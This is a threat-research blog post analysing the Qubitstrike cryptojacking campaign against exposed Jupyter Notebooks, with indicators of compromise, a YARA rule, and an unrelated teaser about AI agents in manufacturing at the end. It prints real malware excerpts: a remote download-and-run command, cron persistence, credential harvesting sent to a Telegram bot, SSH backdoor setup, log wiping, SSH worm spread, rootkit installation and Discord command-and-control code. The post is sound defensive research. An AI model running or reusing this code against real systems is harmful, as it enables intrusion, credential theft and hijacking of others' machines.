October 18, 2023

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Qubitstrike is an emerging cryptojacking campaign primarily targeting exposed Jupyter Notebooks that exfiltrates cloud credentials, mines XMRig, and employs persistence mechanisms. The malware utilizes Discord for C2, displaying compromised host information and enabling command execution, file transfer, and process hiding via the Diamorphine rootkit.

Written by

Nate Bill

Threat Researcher

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Nate Bill

Threat Researcher

Oct 2023

Introduction: Qubitstrike

Researchers from Cado Security Labs (now part of Darktrace) have discovered a new cryptojacking campaign targeting exposed Jupyter Notebooks. The malware includes relatively sophisticated command and control (C2) infrastructure, with the controller using Discord’s bot functionality to issue commands on compromised nodes and monitor the progress of the campaign.

After successful compromise, Qubitstrike hunts for a number of hardcoded credential files for popular cloud services (including AWS and Google Cloud) and exfiltrates these via the Telegram Bot API. Cado researchers were alerted to the use of one such credential file, demonstrating the attacker’s intent to pivot to cloud resources, after using Qubitstrike to retrieve the appropriate credentials.

The payloads for the Qubitstrike campaign are all hosted on Codeberg, an alternative Git hosting platform, providing much of the same functionality as Github. This is the first time Cado researchers have encountered this platform in an active malware campaign. It’s possible that Codeberg’s up-and-coming status makes it attractive as a hosting service for malware developers.

Figure 1: Qubitstrike Discord C2 operation

Initial access

The malware was first observed on Cado’s high interaction Jupyter honeypot. An IP in Tunisia connected to the Jupyter instance on the honeypot machine and opened a Bash instance using Jupyter’s terminal feature. Following this, they ran the following commands to compromise the machine:

#<timestamp> 
lscpu 
#<timestamp> 
sudo su 
#<timestamp> 
ls 
#<timestamp> 
ls -rf 
#<timestamp> 
curl 
#<timestamp> 
echo "Y3VybCAtbyAvdG1wL20uc2ggaHR0cHM6Ly9jb2RlYmVyZy5vcmcvbTRydDEvc2gvcmF3L2JyYW5jaC9tYWluL21pLnNoIDsgY2htb2QgK3ggL3RtcC9tLnNoIDsgL3RtcC9tLnNoIDsgcm0gLWYgL3RtcC9tLnNoIDsgaGlzdG9yeSAtYyAK" | base64 -d | bash

Given the commands were run over a span of 195 seconds, this suggests that they were performed manually. Likely, the operator of the malware had discovered the honeypot via a service such as Shodan, which is commonly used to discover vulnerable services by threat actors.

The history indicates that the attacker first inspected what was available on the machine - running lscpu to see what CPU it was running and sudo su to determine if root access was possible.

The actor then looks at the files in the current directory, likely to spot any credential files or indicators of the system’s purpose that have been left around. Cado’s high interaction honeypot system features bait credential files containing canary tokens for various services such as AWS, which caught the attackers attention.

The attacker then confirms curl is present on the system, and runs a base64 encoded command, which decodes to:

<code lang="bash" class="language-bash">curl -o /tmp/m.sh https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh ; chmod +x /tmp/m.sh ; /tmp/m.sh ; rm -f /tmp/m.sh ; history -c</code>

This downloads and executes the main script used by the attacker. The purpose of base64 encoding the curl command is likely to hide the true purpose of the script from detection.

mi.sh

After achieving initial access via exploitation of a Jupyter Notebook, and retrieving the primary payload via the method described above, mi.sh is executed on the host and kickstarts the Qubitstrike execution chain. 

As the name suggests, mi.sh is a shell script and is responsible for the following:

Retrieving and executing the XMRig miner
Registering cron persistence and inserting an attacker-controlled SSH key
Retrieving and installing the Diamorphine rootkit
Exfiltrating credentials from the host
Propagating the malware to related hosts via SSH

As is common with these types of script-based cryptojacking campaigns, the techniques employed are often stolen or repurposed from similar malware samples, making attribution difficult. For this reason, the following analysis will highlight code that is either unique to Qubitstrike or beneficial to those responding to Qubitstrike compromises.

System preparation

mi.sh begins by conducting a number of system preparation tasks, allowing the operator to evade detection and execute their miner without interference. The first such task is to rename the binaries for various data transfer utilities, such as curl and wget - a common technique in these types of campaigns. It’s assumed that the intention is to avoid triggering detections for use of these utilities in the target environment, and also to prevent other users from accessing them. This technique has previously been observed by Cado researchers in campaigns by the threat actor WatchDog.

clear ; echo -e "$Bnr\n Replacing WGET, CURL ...\n$Bnr" ; sleep 1s 
if [[ -f /usr/bin/wget ]] ; then mv /usr/bin/wget /usr/bin/zget ; fi 
if [[ -f /usr/bin/curl ]] ; then mv /usr/bin/curl /usr/bin/zurl ; fi 
if [[ -f /bin/wget ]] ; then mv /bin/wget /bin/zget ; fi 
if [[ -f /bin/curl ]] ; then mv /bin/curl /bin/zurl ; fi 
fi 
if [[ -x "$(command -v zget)" ]] ; then req="zget -q -O -" ; DLr="zget -O"; elif [[ -x "$(command -v wget)" ]] ; then req="wget -q -O -" ; DLr="wget -O"; elif [[ -x "$(command -v zurl)" ]] ; then req="zurl" ; DLr="zurl -o"; elif [[ -x "$(command -v curl)" ]] ; then req="curl" ; DLr="curl -o"; else echo "[!] There no downloader Found"; fi

Example code snippet demonstrating renamed data transfer utilities

mi.sh will also iterate through a hardcoded list of process names and attempt to kill the associated processes. This is likely to thwart any mining operations by competitors who may have previously compromised the system.

list1=(\.Historys neptune xm64 xmrig suppoieup '*.jpg' '*.jpeg' '/tmp/*.jpg' '/tmp/*/*.jpg' '/tmp/*.xmr' '/tmp/*xmr' '/tmp/*/*xmr' '/tmp/*/*/*xmr' '/tmp/*nanom' '/tmp/*/*nanom' '/tmp/*dota' '/tmp/dota*' '/tmp/*/dota*' '/tmp/*/*/dota*','chron-34e2fg') 
list2=(xmrig xm64 xmrigDaemon nanominer lolminer JavaUpdate donate python3.2 sourplum dota3 dota) 
list3=('/tmp/sscks' './crun' ':3333' ':5555' 'log_' 'systemten' 'netns' 'voltuned' 'darwin' '/tmp/dl' '/tmp/ddg' '/tmp/pprt' '/tmp/ppol' '/tmp/65ccE' '/tmp/jmx*' '/tmp/xmr*' '/tmp/nanom*' '/tmp/rainbow*' '/tmp/*/*xmr' 'http_0xCC030' 'http_0xCC031' 'http_0xCC033' 'C4iLM4L' '/boot/vmlinuz' 'nqscheduler' '/tmp/java' 'gitee.com' 'kthrotlds' 'ksoftirqds' 'netdns' 'watchdogs' '/dev/shm/z3.sh' 'kinsing' '/tmp/l.sh' '/tmp/zmcat' '/tmp/udevd' 'sustse' 'mr.sh' 'mine.sh' '2mr.sh' 'cr5.sh' 'luk-cpu' 'ficov' 'he.sh' 'miner.sh' 'nullcrew' 'xmrigDaemon' 'xmrig' 'lolminer' 'xmrigMiner' 'xiaoyao' 'kernelcfg' 'xiaoxue' 'kernelupdates' 'kernelupgrade' '107.174.47.156' '83.220.169.247' '51.38.203.146' '144.217.45.45' '107.174.47.181' '176.31.6.16' 'mine.moneropool.com' 'pool.t00ls.ru' 'xmr.crypto-pool.fr:8080' 'xmr.crypto-pool.fr:3333' '[email protected]' 'monerohash.com' 'xmr.crypto-pool.fr:6666' 'xmr.crypto-pool.fr:7777' 'xmr.crypto-pool.fr:443' 'stratum.f2pool.com:8888' 'xmrpool.eu') 
list4=(kworker34 kxjd libapache Loopback lx26 mgwsl minerd minexmr mixnerdx mstxmr nanoWatch nopxi NXLAi performedl polkitd pro.sh pythno qW3xT.2 sourplum stratum sustes wnTKYg XbashY XJnRj xmrig xmrigDaemon xmrigMiner ysaydh zigw lolm nanom nanominer lolminer) 
if type killall > /dev/null 2>&1; then for k1 in "${list1[@]}" ; do killall $k1 ; done fi for k2 in "${list2[@]}" ; do pgrep $k2 | xargs -I % kill -9 % ; done for k3 in "${list3[@]}" ; do ps auxf | grep -v grep | grep $k3 | awk '{print $2}' | xargs -I % kill -9 % ; done for k4 in "${list4[@]}" ; do pkill -f $k4 ; done }

Example of killing competing miners

Similarly, the sample uses the netstat command and a hardcoded list of IP/port pairs to terminate any existing network connections to these IPs. Additional research on the IPs themselves suggests that they’ve been previously  in cryptojacking [1] [2].

net_kl() { 
list=(':1414' '127.0.0.1:52018' ':143' ':3389' ':4444' ':5555' ':6666' ':6665' ':6667' ':7777' ':3347' ':14444' ':14433' ':13531' ':15001' ':15002') 
for k in "${list[@]}" ; do netstat -anp | grep $k | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 % ; done 
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '108.174.197.76' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '192.236.161.6' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
netstat -antp | grep '88.99.242.92' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 % 
}

Using netstat to terminate open network connections

Furthermore, the sample includes a function named log_f() which performs some antiforensics measures by deleting various Linux log files when invoked. These include /var/log/secure, which stores successful/unsuccessful authentication attempts and /var/log/wtmp, which stores a record of system-wide logins and logouts. 

log_f() { 
logs=(/var/log/wtmp /var/log/secure /var/log/cron /var/log/iptables.log /var/log/auth.log /var/log/cron.log /var/log/httpd /var/log/syslog /var/log/wtmp /var/log/btmp /var/log/lastlog) 
for Lg in "${logs[@]}" ; do echo 0> $Lg ; done 
}

Qubitstrike Linux log file antiforensics

Retrieving XMRig

After performing some basic system preparation operations, mi.sh retrieves a version of XMRig hosted in the same Codeberg repository as mi.sh. The miner itself is hosted as a tarball, which is unpacked and saved locally as python-dev. This name is likely chosen to make the miner appear innocuous in process listings. 

After unpacking, the miner is executed in /usr/share/.LQvKibDTq4 if mi.sh is running as a regular unprivileged user, or /tmp/.LQvKibDTq4 if mi.sh is running as root.

miner() { 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $DIR/xm.tar.gz $miner_url > /dev/null 2>&1 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/* 
$DIR/python-dev -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
else 
if [[ -x "$(command -v python3)" ]] ; then 
python3 -c "import urllib.request; urllib.request.urlretrieve('$miner_url', '$DIR/xm.tar.gz')" 
if [ -s $DIR/xm.tar.gz ] ; then 
tar -xf $DIR/xm.tar.gz -C $DIR 
rm -rf $DIR/xm.tar.gz > /dev/null 2>&1 
chmod +x $DIR/python-dev 
$DIR/$miner_name -B -o $pool -u $wallet -p $client --donate-level 1 --tls --tls-fingerprint=420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14 --max-cpu-usage 90 
fi 
fi 
fi 
}

Qubitstrike miner execution code

The malware uses a hardcoded mining pool and wallet ID, which can be found in the Indicators of Compromise (IoCs) section.

Registering persistence

mi.sh utilizes cron for persistence on the target host. The malware writes four separate cronjobs, apache2, apache2.2, netns and netns2, which are responsible for: 

executing the miner at reboot
executing an additional payload (kthreadd) containing the competitor-killing code mentioned previously
executing mi.sh on a daily basis

cron_set() { 
killerd="/usr/share/.28810" 
mkdir -p $killerd 
if [[ ! $DLr -eq 0 ]] ; then 
$DLr $killerd/kthreadd $killer_url 
chmod +x $killerd/kthreadd 
chattr -R -ia /etc/cron.d 
echo "@reboot root $DIR/$miner_name -c $DIR/config.json" > /etc/cron.d/apache2 
echo "@daily root $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/apache2.2 
echo -e "*/1 * * * * root /usr/share/.28810/kthreadd" > /etc/cron.d/netns 
echo -e "0 0 */2 * * * root curl https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash" > /etc/cron.d/netns2 
cat /etc/crontab | grep -e "https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh" | grep -v grep 
if [ $? -eq 0 ]; then 
: 
else 
echo "0 * * * * wget -O- https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
echo "0 0 */3 * * * $req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash > /dev/null 2>&1" >> /etc/crontab 
fi 
chattr -R +ia /etc/cron.d 
fi 
}

Cron persistence code examples

As mentioned previously, mi.sh will also insert an attacker-controlled SSH key, effectively creating a persistent backdoor to the compromised host. The malware will also override various SSH server configurations options, ensuring that root login and public key authentication are enabled, and that the SSH server is listening on port 22.

echo "${RSA}" >>/root/.ssh/authorized_keys 
chattr -aui /etc/ssh >/dev/null 2>&1 
chattr -aui /etc/ssh/sshd_config /etc/hosts.deny /etc/hosts.allow >/dev/null 2>&1 
echo >/etc/hosts.deny 
echo >/etc/hosts.allow 
mkdir -p /etc/ssh 
sed -i -e 's/Port 78//g' -e 's/\#Port 22/Port 22/g' -e 's/\#PermitRootLogin/PermitRootLogin/g' -e 's/PermitRootLogin no/PermitRootLogin yes/g' -e 's/PubkeyAuthentication no/PubkeyAuthentication yes/g' -e 's/PasswordAuthentication yes/PasswordAuthentication no/g' /etc/ssh/sshd_config 
chmod 600 /etc/ssh/sshd_config

Inserting an attacker-controlled SSH key and updating sshd_config

Credential exfiltration

One of the most notable aspects of Qubitstrike is the malware’s ability to hunt for credential files on the target host and exfiltrate these back to the attacker via the Telegram Bot API. Notably, the malware specifically searches for AWS and Google Cloud credential files, suggesting targeting of these Cloud Service Providers (CSPs) by the operators.

DATA_STRING="IP: $client | WorkDir: $DIR | User: $USER | cpu(s): $cpucount | SSH: $SSH_Ld | Miner: $MINER_stat" 
zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${DATA_STRING}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 
CRED_FILE_NAMES=("credentials" "cloud" ".s3cfg" ".passwd-s3fs" "authinfo2" ".s3backer_passwd" ".s3b_config" "s3proxy.conf" \ "access_tokens.db" "credentials.db" ".smbclient.conf" ".smbcredentials" ".samba_credentials" ".pgpass" "secrets" ".boto" \ ".netrc" ".git-credentials" "api_key" "censys.cfg" "ngrok.yml" "filezilla.xml" "recentservers.xml" "queue.sqlite3" "servlist.conf" "accounts.xml" "azure.json" "kube-env") for CREFILE in ${CRED_FILE_NAMES[@]}; do find / -maxdepth 23 -type f -name $CREFILE 2>/dev/null | xargs -I % sh -c 'echo :::%; cat %' >> /tmp/creds done SECRETS="$(cat /tmp/creds)" zurl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 || curl --silent --insecure --data chat_id="5531196733" --data "disable_notification=false" --data "parse_mode=html" --data "text=${SECRETS}" "https://api.telegram.org/bot6245402530:AAHl9IafXHFM3j3aFtCpqbe1g-i0q3Ehblc/sendMessage" >/dev/null 2>&1 cat /tmp/creds rm /tmp/creds }

Enumerating credential files and exfiltrating them via Telegram

Inspection of this Telegram integration revealed a bot named Data_stealer which was connected to a private chat with a user named z4r0u1. Cado researchers assess with high confidence that the malware transmits the collection of the credentials files to this Telegram bot where their contents are automatically displayed in a private chat with the z4r0u1 user.

Figure 2: @z4r0u1 Telegram user profile

SSH propagation

Similar to other cryptojacking campaigns, Qubitstrike attempts to propagate in a worm-like fashion to related hosts. It achieves this by using a regular expression to enumerate IPs in the SSH known_hosts file in a loop, before issuing a command to retrieve a copy of mi.sh and piping it through bash on each discovered host.

ssh_local() { 
if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then 
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '$req https://codeberg.org/m4rt1/sh/raw/branch/main/mi.sh | bash >/dev/null 2>&1 &' & done 
fi 
}

SSH propagation commands

This ensures that the primary payload is executed across multiple hosts, using their collective processing power for the benefit of the mining operation.

Diamorphine rootkit

Another notable feature of Qubitstrike is the deployment of the Diamorphine LKM rootkit, used to hide the attacker’s malicious processes. The rootkit itself is delivered as a base64-encoded tarball which is unpacked and compiled directly on the host. This results in a Linux kernel module, which is then loadable via the insmod command.

hide1() { 
ins_package 
hidf='H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1/fbbBcE35FeTXnvH/RBTwGJ3sdgXHjEtfeX63sJy2J <truncated> 
echo $hidf|base64 -d > $DIR/hf.tar 
tar -xf $DIR/hf.tar -C $DIR/ 
cd $DIR 
make 
proc="$(ps aux | grep -v grep | grep 'python-dev' | awk '{print $2}')" 
if [ -f "$DIR/diamorphine.ko" ] ; then 
insmod diamorphine.ko 
echo "Hiding process ( python-dev ) pid ( $proc )" 
kill -31 $proc 
else 
rm -rf $DIR/diamorphine* 
rm $DIR/Make* 
rm -f $DIR/hf.tar 
fi 
}

Insmod method of installing Diamorphine

The attackers also provide a failover option to cover situations where the insmod method is unsuccessful. Rather than unpacking and installing a kernel module, they instead compile the Diamorphine source to produce a Linux Shared Object file and use the LD Preload technique to register it with the dynamic linker. This results in it being executed whenever a new executable is launched on the system.

hide2() { 
hidf='I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxkbGZjbi5oPgojaW5jb <truncated> 
echo $hidf | base64 -d > $DIR/prochid.c 
sed -i 's/procname/python-dev/g' $DIR/prochid.c 
chattr -ia /etc/ld.so.preload /usr/local/lib/ >/dev/null 2>&1 
gcc -Wall -fPIC -shared -o /usr/local/lib/libnetresolv.so $DIR/prochid.c -ldl 
echo /usr/local/lib/libnetresolv.so > /etc/ld.so.preload 
if [ -f /usr/local/lib/libnetresolv.so ] ; then 
chattr +i /usr/local/lib/libnetresolv.so 
chattr +i /etc/ld.so.preload 
else 
rm -f /etc/ld.so.preload 
fi 
}

Installing Diamorphine via the LD Preload method

Diamorphine is well-known in Linux malware circles, with the rootkit being observed in campaigns from TeamTNT and, more recently, Kiss-a-dog. Compiling the malware on delivery is common and is used to evade EDRs and other detection mechanisms.

Credential access

As mentioned earlier, the mi.sh sample searches the file system for credentials files and exfiltrates them over Telegram. Shortly after receiving an alert that Cado’s bait AWS credentials file was accessed on the honeypot machine, another alert indicated that the actor had attempted to use the credentials.

The user agent shows that the system running the command is Kali Linux, which matches up with the account name in the embedded SSH key from mi.sh. The IP is a residential IP in Bizerte, Tunisia (although the attacker also used an IP located in Tunis). It is possible this is due to the use of a residential proxy, however it could also be possible that this is the attacker’s home IP address or a local mobile network.

In this case, the attacker tried to fetch the IAM role of the canary token via the AWS command line utility. They then likely realized it was a canary token, as no further alerts of its use were observed.

Discord C2

Exploring the Codeberg repository, a number of other scripts were discovered, one of which is kdfs.py. This python script is an implant/agent, designed to be executed on compromised hosts, and uses a Discord bot as a C2. It does this by embedding a Discord token within the script itself, which is then passed into the popular Discord bot client library, Discord.py.

Using Discord as a C2 isn’t uncommon, large amounts of malware will abuse developer-friendly features such as webhooks and bots. This is due to the ease of access and use of these features (taking seconds to spin up a fresh account and making a bot) as well as familiarity with the platforms themselves. Using Software-as-a-Service (SaaS) platforms like Discord also make C2 traffic harder to identify in networks, as traffic to SaaS platforms is usually ubiquitous and may pose challenges to sort through.

Interestingly, the author opted to store this token in an encoded form, specifically Base64 encoded, then Base32 encoded, and then further encoded using ROT13. This is likely an attempt to prevent third parties from reading the script and retrieving the token. However, as the script contains the code to decode it (before passing it to Discord.py), it is trivial to reverse.

# decrypt api 
token = "XEYSREFAVH2GZI2LZEUSREGZTIXT44PTZIPGPIX2TALR6MYAWL3SV3GQBIWQN3OIZAPHZGXZAEWQXIXJAZMR6EF2TIXSZHFKZRMJD4PJAIGGPIXSVI2R23WIVMXT24PXZZLQFMFAWORKDH2IVMPSVZGHYV======" 
token = codecs.decode(token, 'rot13') 
token = base64.b32decode(token) 
token = base64.b64decode(token) 
token = token.decode('ascii')

Example of Python decoding multiple encoding mechanisms

As Discord.py is likely unavailable on the compromised systems, the README for the repository contains a one-liner that converts the python script into a self-contained executable, as seen below:

<code lang="bash" class="language-bash">mkdir -p /usr/share/games/.2928 ; D=/usr/share/games/.2928 ; wget https://codeberg.org/m4rt1/sh/raw/branch/main/kdfs.py -O $D/kdfs.py ; pip install Discord ; pip install pyinstaller ; cd $D ; pyinstaller --onefile --clean --name kdfs kdfs.py ; mv /dist/kdfs kdfs</code>

Once kdfs.py is executed on a host, it will drop a message in a hardcoded channel, stating a randomly generated ID of the host, and the OS the host is running (derived from /etc/os-release). The bot then registers a number of commands that allow the operator to interact with the implant. As each implant runs the same bot, each command uses the randomly generated ID of the host to determine which implant a specific command is directed at. It also checks the ID of the user sending the command matches a hardcoded user ID of the operator.

@bot.command(pass_context=True) 
async def cmd(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif client_id in ctx.message.content: 
        # Strips chars preceeding command from command string 
        command = str(ctx.message.content)[(len(client_id) + 6):] 
        ret = f"[!] Executing on `{client_id}` ({client_ip})!\n```shell\n{client_user}$ {command}\n\n{os.popen(command).read()}```" 
        await ctx.send(ret) 
    else: 
        return

There is also support for executing a command on all nodes (no client ID check), but interestingly this feature does not include authentication, so anyone with access to the bot channel can run commands. The implant also makes use of Discord for data exfiltration, permitting files to be both uploaded and downloaded via Discord attachments. Using SaaS platforms for data exfiltration is growing more common, as traffic to such websites is difficult to track and ubiquitous, allowing threat actors to bypass network defenses easier.

@bot.command(pass_context=True) 
async def upload(ctx): 
    # Only allow commands from authorized users 
    if await auth(ctx): 
        return 
    elif ctx.message.attachments: 
        url = str(ctx.message.attachments[0]) 
        os.popen(f"wget -q {url}").read() 
        path = os.popen('pwd').read().strip() 
        await ctx.send(f'[!] Uploaded attachment to `{path+"/"+ctx.message.attachments[0].filename}` on client: `{client_id}`.') 
    else: 
        await ctx.send('[!] No attachment provided.') 
@bot.command(pass_context=True) async def download(ctx): # Only allow commands from authorized users if await auth(ctx): return else: file_path = str(ctx.message.content)[(len(client_id) + 11):] file_size = int((os.popen(f"du {file_path}" + " | awk '{print $1}'")).read()) if file_size > 3900: await ctx.send(f'[!] The requested file ({file_size} bytes) exceeds the Discord API upload capacity (3900) bytes.') else: await ctx.send(file=Discord.File(rf'{file_path}'))

As mentioned earlier, the Discord token is directly embedded in the script. This allows observation of the Discord server itself and observe the attacker interacting with the implants. The name of the server used is “NETShadow”, and the channel the bot posts to is “victims”. The server also had another channel titled “ssh”, however it was empty. 

All of the channels were made at the exact same time on September 2, 2023, suggesting that the creation process was automated. The bot’s username is Qubitstrike (hence the name was given to the malware) and the operator’s pseudonym is “BlackSUN”. 17 unique IP addresses were observed in the channel.

Figure 4: Example Qubitstrike output displayed in Discord

It is unclear what the relation between mi.sh and kdfs.py is. It would appear that the operator first deploys kdfs.py and then uses the implant to deploy mi.sh, however on Cado’s honeypot, kdfs.py was never deployed, only mi.sh was.

Conclusion

Qubitstrike is a relatively sophisticated malware campaign, spearheaded by attackers with a particular focus on exploitation of cloud services. Jupyter Notebooks are commonly deployed in cloud environments, with providers such as Google and AWS offering them as managed services. Furthermore, the primary payload for this campaign specifically targets credential files for these providers and Cado’s use of canary tokens demonstrates that further compromise of cloud resources is an objective of this campaign.

Of course, the primary objective of Qubitstrike appears to be resource hijacking for the purpose of mining the XMRig cryptocurrency. Despite this, analysis of the Discord C2 infrastructure shows that, in reality, any conceivable attack could be carried out by the operators after gaining access to these vulnerable hosts. 

Cado urges readers with Jupyter Notebook deployments to review the security of the Jupyter servers themselves, paying particular attention to firewall and security group configurations. Ideally, the notebooks should not be exposed to the public internet. If you require them to be exposed, ensure that you have enabled authentication for them. 

References

YARA rule

rule Miner_Linux_Qubitstrike { 
meta: 
description = "Detects Qubitstrike primary payload (mi.sh)" 
author = "[email protected]" 
date = "2023-10-10" 
attack = "T1496" 
license = "Apache License 2.0" 
hash1 = "9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd" 
strings: 
$const1 = "miner_url=" 
$const2 = "miner_name=" 
$const3 = "killer_url=" 
$const4 = "kill_url2=" 
$creds = "\"credentials\" \"cloud\" \".s3cfg\" \".passwd-s3fs\" \"authinfo2\" \".s3backer_passwd\" \".s3b_config\" \"s3proxy.conf\"" 
$log1 = "Begin disable security" $log2 = "Begin proccess kill" $log3 = "setup hugepages" $log4 = "SSH setup" $log5 = "Get Data && sent stats" 
$diam1 = "H4sIAAAAAAAAA+0ba3PbNjJfxV+BKq2HVGRbshW1jerMuLLi6PyQR7bb3ORyGJqEJJ4oksOHE7f1" $diam2 = "I2RlZmluZSBfR05VX1NPVVJDRQoKI2luY2x1ZGUgPHN0ZGlvLmg" 
$wallet = "49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo" condition: 3 of ($const*) and $creds and 3 of ($log*) and all of ($diam*) and $wallet }

Indicators of compromise

Filename SHA256

mi.sh 9a5f6318a395600637bd98e83d2aea787353207ed7792ec9911b775b79443dcd

kdfs.py bd23597dbef85ba141da3a7f241c2187aa98420cc8b47a7d51a921058323d327

xm64.tar.gz 96de9c6bcb75e58a087843f74c04af4489f25d7a9ce24f5ec15634ecc5a68cd7

xm64 20a0864cb7dac55c184bd86e45a6e0acbd4bb19aa29840b824d369de710b6152

killer.sh ae65e7c5f4ff9d56e882d2bbda98997541d774cefb24e381010c09340058d45f

kill_loop.sh a34a36ec6b7b209aaa2092cc28bc65917e310b3181e98ab54d440565871168cb

Paths

/usr/share/.LQvKibDTq4

/usr/local/lib/libnetresolv.so

/tmp/.LQvKibDTq4

/usr/bin/zget

/usr/bin/zurl

/usr/share/.28810

/usr/share/.28810/kthreadd

/bin/zget

/bin/zurl

/etc/cron.d/apache2

/etc/cron.d/apache2.2

/etc/cron.d/netns

/etc/cron.d/netns2

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDV+S/3d5qwXg1yvfOm3ZTHqyE2F0zfQv1g12Wb7H4N5EnP1m8WvBOQKJ2htWqcDg2dpweE7htcRsHDxlkv2u+MC0g1b8Z/HawzqY2Z5FH4LtnlYq1QZcYbYIPzWCxifNbHPQGexpT0v/e6z27NiJa6XfE0DMpuX7lY9CVUrBWylcINYnbGhgSDtHnvSspSi4Qu7YuTnee3piyIZhN9m+tDgtz+zgHNVx1j0QpiHibhvfrZQB+tgXWTHqUazwYKR9td68twJ/K1bSY+XoI5F0hzEPTJWoCl3L+CKqA7gC3F9eDs5Kb11RgvGqieSEiWb2z2UHtW9KnTKTRNMdUNA619/5/HAsAcsxynJKYO7V/ifZ+ONFUMtm5oy1UH+49ha//UPWUA6T6vaeApzyAZKuMEmFGcNR3GZ6e8rDL0/miNTk6eq3JiQFR/hbHpn8h5Zq9NOtCoUU7lOvTGAzXBlfD5LIlzBnMA3EpigTvLeuHWQTqNPEhjYNy/YoPTgBAaUJE= root@kali

URLs

https://codeberg[.]org/m4rt1/sh/raw/branch/main/xm64.tar.gz

https://codeberg[.]org/m4rt1/sh/raw/branch/main/killer.sh

https://codeberg[.]org/m4rt1/sh/raw/branch/main/kill_loop.sh

Cryptocurrency wallet ID

49qQh9VMzdJTP1XA2yPDSx1QbYkDFupydE5AJAA3jQKTh3xUYVyutg28k2PtZGx8z3P2SS7VWKMQUb9Q4WjZ3jdmHPjoJRo

Cryptocurrency mining pool

pool.hashvault.pro:80

Written by

Nate Bill

Threat Researcher

Inside the SOC

Written by

Nate Bill

Threat Researcher

Malware Research Lead

Watch the NIS2 Webinar

Blog

May 28, 2026

From Efficiency to Exposure: How AI Adoption Is Creating Unseen Vulnerabilities on the Factory Floor

How AI agents impact the manufacturing industry

Security teams and IT personnel across the manufacturing industry are under constant pressure to protect production, maintain uptime, and safeguard critical assets but the rise of AI is bringing huge new opportunities alongside new cyber risks. Across manufacturing, AI is embedded into workflows, decision-making, and increasingly, autonomous AI agents are acting on behalf of employees and systems.

Agentic systems are powerful because they can act independently, but that same autonomy also creates cyber and operational risk. Agents have extensive permissions and are capable of carrying out complex tasks, making decisions, and interacting with tools or external systems with little to no human intervention.

Unlike traditional AI models that perform predefined tasks, AI agents use advanced techniques to mimic human decision-making processes, dynamically adapting to new challenges, making decision and taking action based on their own judgement. They look like employees operationally but lack judgment, ethics, or fear of consequences like humans do. This means they can be easily manipulated by cybercriminals, and an AI agent embedded across an OT network creates threats that extend well beyond data exposure. For example, at BMW, AI identifies faults in welding processes as they occur. At its Spartanburg plant, AI monitors the weld of 300-400 metal studs onto every SUV frame to detect misplaced or faulty studs and correct them instantly. Corruption of BMW’s AI system could lead to catastrophic quality control errors.

